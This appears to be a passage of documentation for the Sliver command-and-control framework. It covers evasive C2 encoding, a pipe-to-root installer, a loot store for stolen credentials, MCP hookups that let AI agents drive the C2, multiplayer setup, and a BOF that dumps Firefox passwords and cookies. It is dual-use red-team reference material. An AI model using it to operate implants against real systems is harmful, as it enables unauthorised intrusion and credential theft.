nonce := (util.Intn(maxN) * EncoderModulus) + encoderID
encoderId := nonce % EncoderModulusThe nonce is included in the request as the query parameter _, the idea is that this a standard pattern for "cache busting" and at a glance looks legitimate as the nonces look (are) random. The server also ignores any request that does not contain a valid nonce, just in case any pesky blue teamers come sniffing around the web server. An invalid nonce is define as any value that does not map to an Encoder ID or zero. A "NOP" nonce is also supported, which is an encoder ID of zero (i.e. the modulo of the nonce equals zero).
- Send the request to the server, this could be any valid transport such as HTTP, HTTPS, or over a proxy -the same request format is always used for any HTTP-like protocol.
Server-side
When the server receives the request it will route the request to a given handler based on the requested path's extension as detailed above (in this case we're talking about paths that end in
.php).Check that the request contains a valid nonce, if the request does not contain a valid nonce it is ignored from a C2 standpoint but the server may still respond with
websitecontent.Determine the encoder based on the nonce, decode and decrypt the request.
Execute any server-side processing.
Should the request merit a response, encode the encrypted response using the same encoder as the request. By using the same encoder as the request we ensure the implant supports a given encoder (in case of a version mismatch between implant and server) and allows the implant to limit the encoders used if it so chooses.
Send the response back to the implant.
Sliver Docs Pages Docs Md Linux Install Script (`docs/sliver-docs/pages/docs/md/Linux Install Script.md`)
This script installs the latest version of Sliver as a systemd service and sets up multiplayer for local users. After running the script, connect locally by running sliver.
This script should work on Kali, Ubuntu, and RHEL (CentOS, etc) distributions of Linux.
โ ๏ธ OPSEC: By default the Linux install script binds the direct multiplayer gRPC/mTLS listener to TCP :31337 on all interfaces. WireGuard is not enabled by the installer. Ensure your firewalls are properly configured, or reconfigure the server to bind to localhost if you only wish to allow local users. Publicly exposing the multiplayer listener makes the server easier to discover and fingerprint.
One Liner
curl https://sliver.sh/install|sudo bash- Installs server binary to
/root/sliver-server - Runs the server in daemon mode using systemd
- Installs client to
/usr/local/bin/sliver - Generates multiplayer configurations for all users with a
/homedirectory
Systemd Service
The following systemd configuration is used:
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/root/sliver-server daemon
[Install]
WantedBy=multi-user.targetSliver Docs Pages Docs Md Loot (`docs/sliver-docs/pages/docs/md/Loot.md`)
The loot command is a server-side store of looted files and credentials. Since this is implemented server-side, all files and credentials in the loot store are shared amongst all operators in multiplayer mode. See loot --help for a complete list of sub-commands.
Adding Loot
You can add loot to the loot store several different ways:
- The
loot remotecommand can be used to pull a file directly from a remote system to the loot store (requires an active session). - The
loot localcommand can be used to add files from the operator's local machine to the loot store. - Several commands (e.g.
sideload, andexecute-assembly) have the--lootflag, which can be used to save the output of the command to the loot store.
Fetching Loot
To fetch (i.e., look at) a piece of loot use the loot fetch command, it will present an interactive menu for you to select from. Textual loot will be displayed directly, file loot can be saved to a local file.
Remove Loot
The loot rm command is used to remove loot from the server.
Sliver Docs Pages Docs Md MCP (`docs/sliver-docs/pages/docs/md/MCP.md`)
IMPORTANT: MCP (Model Context Protocol) support is experimental and NOT ALL FUNCTIONALITY IS SUPPORTED YET. Pull requests and testing feedback are welcome!
There are two main ways to connect an AI model to sliver using MCP: locally over stdio, or over a network using HTTP/SSE transports. The sliver-client supports both stdio and http/sse, but the sliver-server binary only supports HTTP/SSE. We recommend using the sliver-client and Multiplayer Mode to connect to a remote server with the stdio transport.
MCP Over STDIO
Example configurations for various AIs, you'll need to configure Multiplayer Mode first:
OpenAI Codex
[mcp_servers.sliver]
args = ["mcp", "--config", "/path/to/multiplayer.cfg"]
command = "/path/to/sliver-client"Anthropic Claude Code
claude mcp add sliver -- /path/to/sliver-client mcp --config /path/to/multiplayer.cfgMCP Over HTTP/SSE
The MCP HTTP/SSE server can be started from either the sliver-client or sliver-server, however where you run the command is where the server will start i.e., starting the HTTP/SSE MCP using sliver-client will turn that sliver-client binary into the MCP server (connected to whatever Sliver server you're currently connected to). Running the command from the sliver-server console will start a HTTP/SSE MCP server locally bound on the server.
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain skulk
[*] Server v1.6.4 - 4d0d46afd6e1cbcaafde92687144cb28694a68ce
[*] Welcome to the sliver shell, please type 'help' for options
sliver > mcp
Status: stopped
Transport: sse
Listen: 127.0.0.1:8080
Endpoint: http://127.0.0.1:8080/sse
sliver > mcp start --transport http
[*] Starting MCP server (http) on 127.0.0.1:8080
[*] Endpoint: http://127.0.0.1:8080/mcp
[*] Auth Header: Authorization
[*] Auth Token: 6f90c3b3c6058fa59f570e281f3f8d39You can use mcp stop to stop the server, see mcp start --help for additional options when starting the MCP server.
On first HTTP/SSE use, Sliver generates a random 128-bit token and saves it to ~/.sliver-client/mcp.yaml. Every MCP HTTP/SSE request must include that token exactly in the Authorization header. If mcp.yaml already exists, the listener will only start when the token is at least 8 characters long.
Sliver Docs Pages Docs Md Minisign Public Key (`docs/sliver-docs/pages/docs/md/Minisign Public Key.md`)
This Minisign key is used to sign binary artifacts from the Sliver Authors specifically. As anyone is welcome to modify and redistribute the project under the terms of the GPLv3 license an artifact that is not signed by this specific key is not necessarily illegitimate or malicious, it simply means it's not from the original project authors.
Public Key
RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTRhttps://sliver.sh/minisign.pub
Verification
Minisign is available in most Linux package managers, there is also a Go implementation.
minisign -Vm sliver-server -P RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTRSliver Docs Pages Docs Md Multi Player Mode (`docs/sliver-docs/pages/docs/md/Multi-player Mode.md`)
Multiplayer mode allows multiple operators to connect to the same Sliver server and collaborate on engagements. The easiest way to set up a server for multiplayer is to use the Linux install script, which configures the server as a systemd service. However, any sliver-server binary supports multiplayer mode.
Sliver exposes the operator-facing multiplayer listener directly over gRPC/mTLS by default. You can opt into a dedicated WireGuard wrapper with --enable-wg; the gRPC/mTLS authentication stack still runs inside that tunnel.
โโโโโโโโโโโโโโโโโโโโ C2
โ โ Protocol โโโโโโโโโโโ
โ Sliver C2 Server โโโโโโโโโโโโโโโบโ Implant โ
โ โ โโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโ
โฒ
โ
TCP/gRPC/mTLS (default) โ
โโโโโโโโโโโโโโฌโโโโโโโโโดโโโโโโฌโโโโโโโโโโโโ
โ โ โ โ
โโโโโโโดโโโ โ โ โโโโดโโโโโโ
โWindows โ โโโโโโดโโโโ โโโโโโดโโโโ โWindows โ
โOperatorโ โLinux โ โMacOS โ โOperatorโ
โโโโโโโโโโ โOperatorโ โOperatorโ โโโโโโโโโโ
โโโโโโโโโโ โโโโโโโโโโDefault Direct mTLS Mode
Operators will need to download their preferred platform's client software from the releases page. Clients can connect to servers of differing platforms (e.g. a Windows client can connect to a Linux server). Operators and servers authenticate using Mutual TLS, however all the certificates are managed automatically for you.
- If you did not install the server as a systemd service, be sure to leave the server console running in screen or tmux after starting the multiplayer listener.
- If you did install the server as a systemd service, see the CLI section below for an alternative to the console commands for generating operator configs.
Operators need a configuration file generated by the Sliver server to connect in multiplayer mode. The Sliver client can support multiple configuration files, but you can only be connected to one server at a time (per process).
In the default mode:
multiplayerexposes the authenticated gRPC/mTLS listener directly over TCP on--lport(default31337).new-operatorgenerates a direct multiplayer profile without awgblock.sliver-clientconnects directly over gRPC/mTLS because the selected profile does not opt into WireGuard.
From the server, start the multiplayer listener and generate an operator config with the server's public address or hostname in --lhost. Use --permissions all for a standard interactive operator profile:
Note: The new-operator and multiplayer commands are only available from the server console.
[server] sliver > multiplayer
[*] Multiplayer mode enabled!
[server] sliver > new-operator --name moloch --lhost 1.2.3.4 --permissions all
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/moloch/Desktop/moloch_example.com.cfgIMPORTANT: Before clients can connect to a server you must start a multiplayer listener with the multiplayer command. By default multiplayer is exposed directly on TCP/31337. If you enable the wrapper, the outer listener becomes UDP/31337 and the gRPC/mTLS service stays inside the tunnel.
You can now give this configuration file moloch_example.com.cfg to the operator and they can connect to the server using the sliver-client binary. The Sliver client will look for configuration files in ~/.sliver-client/configs/ or you can import configs using the import CLI. The configs directory can contain multiple configs for different servers.
$ ./sliver-client import ./moloch_example.com.cfg
$ ./sliver-client
? Select a server: [Use arrows to move, type to filter]
> example.com
localhostOptional WireGuard Wrapper
Multiplayer WireGuard is opt-in. Enable it explicitly on the listener and include matching WireGuard settings in the operator profile:
[server] sliver > multiplayer --enable-wg
[*] Multiplayer mode enabled!
[server] sliver > new-operator --name tester --lhost 1.2.3.4 --permissions all --enable-wg
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/tester/Desktop/tester_example.com.cfgImport the profile and start the client normally:
$ ./sliver-client import ./tester_example.com.cfg
$ ./sliver-clientIn WireGuard mode:
multiplayer --enable-wgexposes a WireGuard listener on--lport(default31337) over UDP.- The authenticated gRPC/mTLS server only listens inside that WireGuard tunnel.
new-operator --enable-wggenerates a per-operator WireGuard keypair and tunnel IP, then embeds that information withwg.enabled: truein the operator profile.sliver-clientseeswg.enabled: trueand automatically uses the profile's WireGuard settings before dialing the in-tunnel gRPC/mTLS service.- The multiplayer listener uses WireGuard keys that are separate from Sliver's implant
wgC2 listener.
The listener mode and operator profile need to match. A WireGuard-wrapped listener needs a profile generated with --enable-wg; direct multiplayer uses a normal profile. No client flag is required in either case.
The client provides explicit overrides for troubleshooting and migration:
sliver-client --enable-wgforces WireGuard and requires usable WireGuard settings in the profile.sliver-client --disable-wgforces direct gRPC/mTLS even whenwg.enabledis true.- Without either flag, the client follows
wg.enabled. The flags cannot be used together.
Profiles from the withdrawn WireGuard-by-default release may contain a wg block without the new enabled marker. The client treats those profiles as direct rather than considering block presence an opt-in. To keep using WireGuard, explicitly recreate the listener and profile with --enable-wg. The client override can temporarily force a legacy profile only when its listener is also running in WireGuard mode.
When upgrading from the withdrawn WireGuard-by-default release, legacy persisted multiplayer jobs restart in direct mode because they do not contain an explicit WireGuard opt-in. Recreate the listener with multiplayer --enable-wg if you intentionally want the wrapper.
Upgrade affected clients along with the server. The withdrawn client automatically selected WireGuard whenever a wg block was present, so it can mismatch a listener that the new server safely migrated to direct mode. Until that client is upgraded, use its --disable-wg override for a migrated direct listener, or explicitly re-enable WireGuard on both the listener and profile.
Server CLI / Daemon Mode Multiplayer
If the server is running in daemon mode, the multiplayer listener is started for you without an interactive console. By default the daemon uses direct multiplayer mTLS. You can opt into the WireGuard wrapper with sliver-server daemon --enable-wg or daemon.enable_wg: true in server.yaml.
Use the server CLI to generate operator configuration files:
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfgOperator profiles omit the multiplayer wg block by default. Add --enable-wg when the listener is wrapped in WireGuard; the resulting wg.enabled: true marker makes the client select the wrapper automatically.
The installation script places the sliver-server binary in /root by default.
Tailscale Integration
Sliver supports multiplayer integration with Tailscale, which is an excellent option when you want to keep the multiplayer listener off the public Internet.
Tailscale mode is separate from the optional multiplayer WireGuard wrapper. When you use multiplayer -T, Sliver exposes the listener only through Tailscale instead of layering its own multiplayer WireGuard tunnel on top.
$ export TS_AUTHKEY=<tailscale authkey>
$ ./sliver-server
sliver > multiplayer -TYou should now see a new Tailscale host named sliver-server-<machine>. Use that hostname as --lhost when generating operator configs for other hosts on the same tailnet. Tailscale multiplayer does not use the multiplayer WireGuard wrapper, so operator profiles should be generated without --enable-wg.
Sliver Docs Pages Docs Md Notifications (`docs/sliver-docs/pages/docs/md/Notifications.md`)
Notifications
Table of Contents
- Overview
- Configuration Overview
- Global Examples
- Service Examples
- Amazon SES
- Amazon SNS
- Bark
- DingTalk (DingDing)
- Discord
- FCM
- Google Chat
- HTTP Webhooks
- Lark
- Line
- Line Notify
- Mail (SMTP)
- Mailgun
- Matrix
- Mattermost
- Microsoft Teams
- PagerDuty
- Plivo
- Pushbullet
- Pushbullet SMS
- Pushover
- Rocket.Chat
- SendGrid
- Slack
- Syslog
- Telegram
- TextMagic
- Twilio
- Viber
- Web Push
- Custom Templates
- Notes
Overview
Sliver can send server event notifications via the github.com/nikoksr/notify services. Notifications are configured in server.yaml under the notifications block (located at ~/.sliver/configs/server.yaml by default).
Notifications are disabled by default. Enable them globally, then enable one or more services. You can optionally filter which events are sent globally or per-service.
Configuration Overview
notifications.enabled- Master switch for notifications.notifications.events- Optional list of event types to send. Empty means all events.notifications.services.<service>.enabled- Enable a specific service.notifications.services.<service>.events- Optional per-service event filter. If empty, the global list is used.- Any string field can reference an environment variable by using
$ENV_VARor${ENV_VAR}.
Global Examples
Example: Slack + Telegram with Event Filters
notifications:
enabled: true
events:
- session-connected
- session-disconnected
services:
slack:
enabled: true
api_token: "$SLIVER_SLACK_TOKEN"
channels:
- "C0123456789"
telegram:
enabled: true
api_token: "$SLIVER_TELEGRAM_TOKEN"
chat_ids:
- "123456789"
events:
- session-connectedExample: HTTP Webhooks + Syslog
notifications:
enabled: true
services:
http:
enabled: true
urls:
- "https://hooks.example.com/sliver"
webhooks:
- url: "https://hooks.example.com/sliver-auth"
method: "POST"
content_type: "application/json"
headers:
Authorization: "$SLIVER_WEBHOOK_TOKEN"
syslog:
enabled: true
priority: "info"
network: "udp"
address: "127.0.0.1:514"
tag: "sliver"Service Examples
Each example below shows the service-specific block under notifications.services. All examples assume notifications.enabled: true.
Amazon SES
services:
amazon_ses:
enabled: true
access_key_id: "$AWS_ACCESS_KEY_ID"
secret_key: "$AWS_SECRET_ACCESS_KEY"
region: "us-east-1"
sender_address: "[email protected]"
receivers:
- "[email protected]"Amazon SNS
services:
amazon_sns:
enabled: true
access_key_id: "$AWS_ACCESS_KEY_ID"
secret_key: "$AWS_SECRET_ACCESS_KEY"
region: "us-east-1"
receivers:
- "arn:aws:sns:us-east-1:123456789012:my-topic"Bark
services:
bark:
enabled: true
device_key: "$BARK_DEVICE_KEY"
servers:
- "https://api.day.app/"DingTalk (DingDing)
services:
dingding:
enabled: true
token: "$DINGDING_TOKEN"
secret: "$DINGDING_SECRET"Discord
services:
discord:
enabled: true
token: "$DISCORD_BOT_TOKEN"
token_type: "bot" # bot (default) or oauth
channels:
- "123456789012345678"FCM
services:
fcm:
enabled: true
credentials_file: "/path/to/firebase.json"
project_id: "my-firebase-project"
device_tokens:
- "$FCM_DEVICE_TOKEN"Google Chat
services:
google_chat:
enabled: true
credentials_file: "/path/to/google-chat.json"
spaces:
- "AAAA1234567"HTTP Webhooks
services:
http:
enabled: true
urls:
- "https://hooks.example.com/sliver"
webhooks:
- url: "https://hooks.example.com/sliver-auth"
method: "POST"
content_type: "application/json"
headers:
Authorization: "$SLIVER_WEBHOOK_TOKEN"Lark
services:
lark:
enabled: true
webhook:
url: "$LARK_WEBHOOK_URL"
custom_app:
app_id: "$LARK_APP_ID"
app_secret: "$LARK_APP_SECRET"
receivers:
- type: "open_id"
id: "ou_1234567890abcdef"Line
services:
line:
enabled: true
channel_secret: "$LINE_CHANNEL_SECRET"
channel_access_token: "$LINE_CHANNEL_ACCESS_TOKEN"
receivers:
- "U1234567890abcdef"Line Notify
LINE Notify ended service on March 31, 2025; its APIs and the line_notify integration are no longer usable.
Mail (SMTP)
services:
mail:
enabled: true
sender_address: "[email protected]"
smtp_host: "smtp.example.com:587"
smtp_identity: ""
smtp_username: "$SMTP_USER"
smtp_password: "$SMTP_PASSWORD"
smtp_auth_host: "smtp.example.com"
body_type: "plain" # plain or html
receivers:
- "[email protected]"Mailgun
services:
mailgun:
enabled: true
domain: "mg.example.com"
api_key: "$MAILGUN_API_KEY"
sender_address: "[email protected]"
receivers:
- "[email protected]"Matrix
services:
matrix:
enabled: true
user_id: "@bot:matrix.example"
room_id: "!roomid:matrix.example"
home_server: "https://matrix.example"
access_token: "$MATRIX_ACCESS_TOKEN"Mattermost
services:
mattermost:
enabled: true
url: "https://mattermost.example.com"
login_id: "$MM_LOGIN_ID"
password: "$MM_PASSWORD"
channels:
- "channel-id"Microsoft Teams
Use a Teams Workflows webhook. Legacy Office 365 connector webhooks were retired in May 2026.
services:
msteams:
enabled: true
webhooks:
- "$MSTEAMS_WEBHOOK"
wrap_text: true
disable_webhook_validation: false
user_agent: "sliver-notify"PagerDuty
services:
pagerduty:
enabled: true
token: "$PAGERDUTY_TOKEN"
from_address: "[email protected]"
receivers:
- "P123456"
notification_type: "incident"
urgency: "high"
priority_id: "PQ123456"Plivo
services:
plivo:
enabled: true
auth_id: "$PLIVO_AUTH_ID"
auth_token: "$PLIVO_AUTH_TOKEN"
source: "+15551234567"
callback_url: "https://example.com/plivo"
callback_method: "POST"
receivers:
- "+15557654321"Pushbullet
services:
pushbullet:
enabled: true
api_token: "$PUSHBULLET_TOKEN"
device_nicknames:
- "MyPhone"Pushbullet SMS
services:
pushbullet_sms:
enabled: true
api_token: "$PUSHBULLET_TOKEN"
device_nickname: "MyPhone"
phone_numbers:
- "+15557654321"Pushover
services:
pushover:
enabled: true
app_token: "$PUSHOVER_APP_TOKEN"
recipients:
- "$PUSHOVER_USER_KEY"services:
reddit:
enabled: true
client_id: "$REDDIT_CLIENT_ID"
client_secret: "$REDDIT_CLIENT_SECRET"
username: "$REDDIT_USERNAME"
password: "$REDDIT_PASSWORD"
recipients:
- "target_user"Rocket.Chat
services:
rocketchat:
enabled: true
server_url: "chat.example.com"
scheme: "https"
user_id: "$ROCKETCHAT_USER_ID"
token: "$ROCKETCHAT_TOKEN"
channels:
- "#ops"SendGrid
services:
sendgrid:
enabled: true
api_key: "$SENDGRID_API_KEY"
sender_address: "[email protected]"
sender_name: "Sliver"
receivers:
- "[email protected]"Slack
services:
slack:
enabled: true
api_token: "$SLIVER_SLACK_TOKEN"
channels:
- "C0123456789"Syslog
services:
syslog:
enabled: true
priority: "info"
network: "udp"
address: "127.0.0.1:514"
tag: "sliver"Telegram
services:
telegram:
enabled: true
api_token: "$SLIVER_TELEGRAM_TOKEN"
chat_ids:
- "123456789"
parse_mode: "HTML"TextMagic
services:
textmagic:
enabled: true
username: "$TEXTMAGIC_USER"
api_key: "$TEXTMAGIC_API_KEY"
phone_numbers:
- "+15557654321"Twilio
services:
twilio:
enabled: true
account_sid: "$TWILIO_ACCOUNT_SID"
auth_token: "$TWILIO_AUTH_TOKEN"
from_number: "+15551234567"
phone_numbers:
- "+15557654321"services:
twitter:
enabled: true
consumer_key: "$TWITTER_CONSUMER_KEY"
consumer_secret: "$TWITTER_CONSUMER_SECRET"
access_token: "$TWITTER_ACCESS_TOKEN"
access_token_secret: "$TWITTER_ACCESS_TOKEN_SECRET"
recipients:
- "1234567890"Viber
services:
viber:
enabled: true
app_key: "$VIBER_APP_KEY"
sender_name: "Sliver"
sender_avatar: "https://example.com/avatar.png"
webhook_url: "https://example.com/viber-webhook"
receivers:
- "viber-user-id"Web Push
services:
webpush:
enabled: true
vapid_public_key: "$WEBPUSH_PUBLIC_KEY"
vapid_private_key: "$WEBPUSH_PRIVATE_KEY"
subscriptions:
- endpoint: "https://push.example.com/123"
keys:
p256dh: "$WEBPUSH_P256DH"
auth: "$WEBPUSH_AUTH"services:
wechat:
enabled: true
app_id: "$WECHAT_APP_ID"
app_secret: "$WECHAT_APP_SECRET"
token: "$WECHAT_TOKEN"
encoding_aes_key: "$WECHAT_AES_KEY"
receivers:
- "wechat-user-id"services:
whatsapp:
enabled: true
receivers:
- "whatsapp-contact"Custom Templates
You can render notification messages using Go templates with either template/text or template/html. Templates are loaded from:
<app dir>/notifications/templates/By default this is ~/.sliver/notifications/templates/. Only a filename is allowed (no path separators) and .. is rejected to prevent path traversal.
Configure per-event templates under notifications.templates:
notifications:
enabled: true
templates:
session-connected:
type: "text" # text (default) or html
template: "session.tmpl"
session-disconnected:
type: "html"
template: "session.html"Template data available:
.EventType.Session.Beacon.Job.Client.Error.DefaultSubject.DefaultMessage.Timestamp(UTC)
Example session.tmpl (text):
{{ .DefaultSubject }}
Event: {{ .EventType }}
Host: {{ if .Session }}{{ .Session.Hostname }}{{ end }}
User: {{ if .Session }}{{ .Session.Username }}{{ end }}Example session.html (html):
<h3>{{ .DefaultSubject }}</h3>
<p>Event: {{ .EventType }}</p>
<p>Host: {{ if .Session }}{{ .Session.Hostname }}{{ end }}</p>
<p>User: {{ if .Session }}{{ .Session.Username }}{{ end }}</p>Notes
- Environment variable expansion only applies to string fields (API keys, tokens, URLs, etc.).
- If a service configuration is incomplete, that service is skipped and the server continues without it.
Sliver Docs Pages Docs Md OPFOR (`docs/sliver-docs/pages/docs/md/OPFOR.md`)
OPFOR runs a BOF-focused subset of CNA/Aggressor Script directly inside sliver-client. It lets operators use projects that already ship a .cna wrapper and BOF object files without first translating the script into a Sliver extension manifest.
OPFOR is not a complete Cobalt Strike client or a complete Aggressor Script implementation. Sliver currently connects the parts needed by common BOF scripts: local script resources, Beacon alias registration and help, target metadata queries, BOF argument packing, transcript output, beacon_inline_execute, result callbacks, and basic terminal prompts.
For manifest-based BOF packages and Armory installation, see BOF and COFF Support.
Requirements
- Keep the
.cnafile and its resource tree on the computer runningsliver-client. Calls such asscript_resource()resolve files from that local script tree. - BOF aliases require an active session or beacon. The target must advertise Sliver's
bof_v1capability. - The tested BOF execution path supports Windows x64 and x86 targets. A CNA may perform its own architecture selection with functions such as
barch(). - Review third-party scripts before loading them. Top-level CNA code runs locally in the Sliver client process.
Loaded scripts and their registrations belong only to the current client process. They are not installed in Armory, copied to the server, or shared with other operators, and they must be loaded again after restarting the client.
Commands
| Command | Behavior |
|---|---|
opfor check <script.cna> |
Compile the script without executing its top-level code. |
opfor run <script.cna> [arguments...] |
Execute top-level code once with trailing values in @ARGV, then discard registrations. |
opfor load <script.cna> |
Execute initialization and retain aliases, hooks, and callbacks. |
opfor <script.cna> |
Shorthand for opfor load <script.cna>. |
opfor list |
List scripts retained by this client process. |
opfor help <alias> |
Display the description and detail supplied by beacon_command_register(). |
opfor <alias> [arguments...] |
Invoke a loaded Beacon alias against the active target. |
opfor unload <script.cna> |
Retire a loaded script and its registrations. |
opfor run does not invoke aliases declared by the script. Most BOF CNAs define an alias at top level, so running one only creates that alias in a temporary runtime and then retires it. Use opfor load, select a target, and invoke the registered alias instead.
The default operation timeout is 600 seconds. Put a timeout override before the alias name so Sliver consumes it instead of passing it to the CNA command:
opfor --timeout 900 firefoxdump /allArguments after the alias name are passed to the CNA as written, including flag-like values. If the CNA itself needs a leading --timeout or -t argument, place -- before it so the OPFOR host stops parsing timeout overrides:
opfor example -- --timeoutLoading and running FirefoxDump
Keep the script beside the object files expected by its script_resource() calls. For example:
firefoxdump/
โโโ firefoxdump.cna
โโโ bin/
โโโ firefoxdump.x64.o
โโโ firefoxdump.x86.oCheck the script before executing its initialization code:
sliver > opfor check ./firefoxdump/firefoxdump.cna
./firefoxdump/firefoxdump.cna: okLoad it persistently:
sliver > opfor load ./firefoxdump/firefoxdump.cna
[*] Loaded CNA script /absolute/path/firefoxdump/firefoxdump.cna
[*] Registered CNA aliases:
opfor firefoxdump
[*] View CNA alias help:
opfor help firefoxdumpInspect the command metadata without running the BOF:
sliver > opfor help firefoxdump
Command: opfor firefoxdump [arguments...]
Extract Firefox secrets (cookies, passwords) from Firefox profile.Select a compatible target and invoke the alias:
sliver > use <session-or-beacon>
sliver (TARGET) > opfor firefoxdump /allOPFOR sends the selected object file and packed arguments through Sliver's native BOF execution path. Session results are rendered immediately; beacon tasks are correlated and polled until the result or command deadline arrives. Typed BOF output channels and CNA callbacks are preserved when the script uses them.
Unload the script when it is no longer needed:
sliver > opfor unload ./firefoxdump/firefoxdump.cnaCompatibility and troubleshooting
- If an alias is missing after
opfor run, load the script instead. One-shot registrations are intentionally discarded. - If Sliver reports that no target is active, run
use <session-or-beacon>before invoking the alias. - If the target does not advertise
bof_v1, update the server, client, and implant to compatible builds and establish a new session or beacon. - If
script_resource()cannot find an object file, preserve the upstream directory layout relative to the.cnafile. - If a script calls an unsupported Aggressor function or prompt type, OPFOR returns an explicit error. The current integration prioritizes BOF execution rather than every Aggressor callback or client feature.
- CNA aliases are namespaced beneath
opfor, so they do not replace built-in Sliver commands. The management namescheck,help,list,load,run, andunloadremain reserved.
Sliver Docs Pages Docs Md Payload Compatibility (`docs/sliver-docs/pages/docs/md/Payload Compatibility.md`)
This page summarizes implant payload format compatibility by target OS/architecture (GOOS/GOARCH).
Common Platforms
| Target OS/Arch | Executable | Shared Library | Shellcode | Service |
|---|---|---|---|---|
windows/386 |
โ | โ | โ | โ |
windows/amd64 |
โ | โ | โ | โ |
windows/arm64 |
โ ๏ธ | โ ๏ธ | โ | โ ๏ธ |
linux/386 |
โ | โ | โ | N/A |
linux/amd64 |
โ | โ | โ | N/A |
linux/arm64 |
โ | โ | โ | N/A |
darwin/amd64 |
โ | โ | โ | N/A |
darwin/arm64 |
โ | โ | โ | N/A |
Important Notes
โ= first-class support in Sliver's built-in target matrix.โ ๏ธ= generic/experimental target (not first-class; may fail depending on toolchain/target).โ= not currently supported for that payload format.Serviceis a Windows-only format.Shellcodeis currently supported forwindows/{386,amd64},linux/{amd64,arm64}, anddarwin/arm64.ShellcodeandShared Libraryfor MacOS may require a cross-compiler or an external builder depending on your platform.- On macOS hosts, targeting
linux/386for shared library/shellcode builds is currently not reliable.
Use generate info in the Sliver console to see what your current server can build with its configured toolchains.
All GOOS/GOARCH Targets
The table below covers all GOOS/GOARCH entries from go tool dist list (Go 1.24+), including common platforms:
| Target GOOS/GOARCH | Common Platform | Executable | Shared Library | Shellcode | Service |
|---|---|---|---|---|---|
aix/ppc64 |
No | โ ๏ธ | โ | โ | N/A |
android/386 |
No | โ ๏ธ | โ | โ | N/A |
android/amd64 |
No | โ ๏ธ | โ | โ | N/A |
android/arm |
No | โ ๏ธ | โ | โ | N/A |
android/arm64 |
No | โ ๏ธ | โ | โ | N/A |
darwin/amd64 |
Yes | โ | โ | โ | N/A |
darwin/arm64 |
Yes | โ | โ | โ | N/A |
dragonfly/amd64 |
No | โ ๏ธ | โ | โ | N/A |
freebsd/386 |
No | โ ๏ธ | โ | โ | N/A |
freebsd/amd64 |
No | โ ๏ธ | โ | โ | N/A |
freebsd/arm |
No | โ ๏ธ | โ | โ | N/A |
freebsd/arm64 |
No | โ ๏ธ | โ | โ | N/A |
freebsd/riscv64 |
No | โ ๏ธ | โ | โ | N/A |
illumos/amd64 |
No | โ ๏ธ | โ | โ | N/A |
ios/amd64 |
No | โ ๏ธ | โ | โ | N/A |
ios/arm64 |
No | โ ๏ธ | โ | โ | N/A |
js/wasm |
No | โ ๏ธ | โ | โ | N/A |
linux/386 |
Yes | โ | โ | โ | N/A |
linux/amd64 |
Yes | โ | โ | โ | N/A |
linux/arm |
No | โ ๏ธ | โ | โ | N/A |
linux/arm64 |
Yes | โ | โ | โ | N/A |
linux/loong64 |
No | โ ๏ธ | โ | โ | N/A |
linux/mips |
No | โ ๏ธ | โ | โ | N/A |
linux/mips64 |
No | โ ๏ธ | โ | โ | N/A |
linux/mips64le |
No | โ ๏ธ | โ | โ | N/A |
linux/mipsle |
No | โ ๏ธ | โ | โ | N/A |
linux/ppc64 |
No | โ ๏ธ | โ | โ | N/A |
linux/ppc64le |
No | โ ๏ธ | โ | โ | N/A |
linux/riscv64 |
No | โ ๏ธ | โ | โ | N/A |
linux/s390x |
No | โ ๏ธ | โ | โ | N/A |
netbsd/386 |
No | โ ๏ธ | โ | โ | N/A |
netbsd/amd64 |
No | โ ๏ธ | โ | โ | N/A |
netbsd/arm |
No | โ ๏ธ | โ | โ | N/A |
netbsd/arm64 |
No | โ ๏ธ | โ | โ | N/A |
openbsd/386 |
No | โ ๏ธ | โ | โ | N/A |
openbsd/amd64 |
No | โ ๏ธ | โ | โ | N/A |
openbsd/arm |
No | โ ๏ธ | โ | โ | N/A |
openbsd/arm64 |
No | โ ๏ธ | โ | โ | N/A |
openbsd/ppc64 |
No | โ ๏ธ | โ | โ | N/A |
openbsd/riscv64 |
No | โ ๏ธ | โ | โ | N/A |
plan9/386 |
No | โ ๏ธ | โ | โ | N/A |
plan9/amd64 |
No | โ ๏ธ | โ | โ | N/A |
plan9/arm |
No | โ ๏ธ | โ | โ | N/A |
solaris/amd64 |
No | โ ๏ธ | โ | โ | N/A |
wasip1/wasm |
No | โ ๏ธ | โ | โ | N/A |
windows/386 |
Yes | โ | โ | โ | โ |
windows/amd64 |
Yes | โ | โ | โ | โ |
windows/arm64 |
Yes | โ ๏ธ | โ ๏ธ | โ | โ ๏ธ |
Sliver Docs Pages Docs Md Pivots (`docs/sliver-docs/pages/docs/md/Pivots.md`)
โ ๏ธ IMPORTANT: Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding portfwd, which is used for tunneling generic TCP connections into a target environment.
โ ๏ธ IMPORTANT: Pivots can only be used in "session mode" (we may add beacon support later)
Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Pivots can be arbitrarily nested, for example a pivot A can connect through pivot B to a third egress implant.
In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints.
Pivots perform an authenticated peer-to-peer cryptographic key exchange regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled.
TCP Pivots
TCP pivots are implemented in pure Go and are supported on all platforms.
[server] sliver (PRIOR_MANTEL) > pivots tcp
[*] Started tcp pivot listener :9898 with id 1
[server] sliver (PRIOR_MANTEL) > pivots
ID Protocol Bind Address Number Of Pivots
==== ========== ============== ==================
